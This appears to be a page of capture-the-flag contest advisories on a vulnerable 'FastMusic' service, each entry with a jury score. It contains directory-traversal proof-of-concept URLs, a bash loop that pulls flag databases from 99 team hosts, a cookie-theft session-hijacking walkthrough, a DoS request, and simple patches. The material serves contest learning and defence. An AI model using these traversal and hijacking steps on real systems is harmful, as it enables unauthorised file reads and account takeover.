FastMusic Advisories


Service:FastMusic
Text:FastMusic service has arbitrary file downloadable vulnerability.

poc: http://10.23.x.3:82/music?action=get&name=../databases/__db.001

solution: filter slash symbols /, \
Jury comment:Give some exploit
Score:2/5 points

Service:FastMusic
Text:Vulnerability:
Directory Traversal

Exploit:
http://10.23.X.3:82/music?action=get&name=../databases/fastmusic.db
Jury comment:Too late
Score:0/5 points

Service:FastMusic
Text:Description:
Class: Arbitrary file read
Vulnerable
The fastmusic service has an arbitrary file read vulnerability via the
name parameter of the get action on /music:

Exploit:
http://10.23.$i.3:82/music?action=get&name=../databases/playlists_fastmusic.db

Patch:
Add the following block to the nginx service configuration
(sites-enabled/fastmusic) in the location block

if ($request_uri ~* "name=.*\.\..*") {
return 403;
}
Jury comment:Too late
Score:0/5 points

Service:FastMusic
Text:The sercice stores the flags in 2 databases.
databases/fastmusic.db
databases/playlists_fastmusic.db


You can get flags from all teams with this exploit:


#!/bin/bash

for i in `seq -w 1 99`;
do
wget -q -O - --timeout=15 "http://10.23.${i}.3:82/music?action=get&name=../databases/fastmusic.db" > db-fastmusic.$i &
wget -q -O - --timeout=15 "http://10.23.${i}.3:82/music?action=get&name=../databases/playlists_fastmusic.db" > db-playlist.$i &
done

wait

rm db-fastmusic.45 db-playlist.45

for i in `seq -w 1 99`;
do
sqlite3 db-fastmusic.$i .dump | egrep -o '\w{31}=' | sort -u > flags-fastmusic.$i
sqlite3 db-playlist.$i .dump | egrep -o '\w{31}=' | sort -u > flags-playlist.$i
done

exit 0;
Jury comment:Too late
Score:0/5 points

Service:FastMusic
Text:Patch for arbitrary read

--- MusicHandler.h 2011-11-12 12:17:52.000000000 -0500
+++ MusicHandler.h.new 2011-11-19 16:29:12.011614372 -0500
@@ -43,6 +43,7 @@
{
std::string name = params.GetGetParam("name");
headers << "Content-type: audio/mpeg\r\n";
+ boost::replace_all(name, "..", "");
out << TemplateReader::ReadFile("music_files/" + name);
} else if (action == "users")
{
Jury comment:
Score:3/5 points

Service:FastMusic
Text:Vulnerability:
Session Hijacking

Description:
Session hijacking vulnerability in FastMusic lets one user login as another just by changing the cookie contents in the browser. Although this could be done with a man in the middle attack, because the database_cookie.db can be browsed to and downloaded, all sessions can be gleened and we can login as any user.

Method of attack:
1. Browse to http://10.23.X.3:82/music?action=get&name=../databases/cookie_fastmusic.db
2. Download the file
3. Open the file (I used vim) and find the user that you wish to login as. Copy the long string of characters that comes after the ^@^@^@A^@^A and ^@^O^@^A for the cookie.

For example if you want to login using the following user:
cizw-bir4-dlzr
then look in this string:
^@^O^@^Acizw-bir4-dlzr^@^@^@A^@^Ajeqwmuqszhhmhbfpcciswcwrniwopuqazizncpgdynriqwxuahmwlipysmpkifmj^@^O^@^A

copy jeqwmuqszhhmhbfpcciswcwrniwopuqazizncpgdynriqwxuahmwlipysmpkifmj

and either:
copy it into the cookie field while you replay the packets or
you could use cookie editor in firefox to login as that user.

Mitigation:
Set a regEx expression that checks for anything except for '-', letters and numbers e.g.
Jury comment:Too late
Score:0/5 points


Service:FastMusic
Text:FastMusic DoS vuln

POC: http://10.23.*.3:82/music?action=get&name=

solution: check name parameter for emptiness/invalid value
Jury comment:
Score:4/4 points